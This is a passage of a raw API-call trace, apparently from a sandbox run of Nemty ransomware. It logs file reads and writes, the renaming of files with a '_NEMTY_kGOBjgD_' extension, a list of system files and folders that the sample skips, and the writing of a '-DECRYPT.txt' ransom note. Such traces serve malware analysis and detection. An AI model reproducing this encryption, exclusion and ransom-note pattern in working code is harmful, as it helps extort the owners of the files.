lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.045] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0130.087] CloseHandle (hObject=0xffffffff) returned 0 [0130.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0130.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0130.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0130.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0130.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\settings.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\settings.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\settings.css._nemty_kgobjgd_")) returned 0 [0130.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0130.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0130.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0130.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0130.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0130.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0130.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0130.088] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf60dd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xf60dd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xf60dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0130.088] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0130.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0130.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0130.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.089] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf60dd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xf60dd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xf60dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0130.089] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0130.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0130.089] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0130.089] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0130.089] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0130.089] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0130.089] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0130.089] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0130.089] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0130.090] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0130.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0130.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0130.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0130.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0130.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0130.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0130.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0130.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0130.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0130.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0130.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.090] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0130.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0130.091] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.091] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0130.092] CloseHandle (hObject=0x1ec) returned 1 [0130.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0130.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0130.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0130.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0130.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0130.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0130.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0130.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 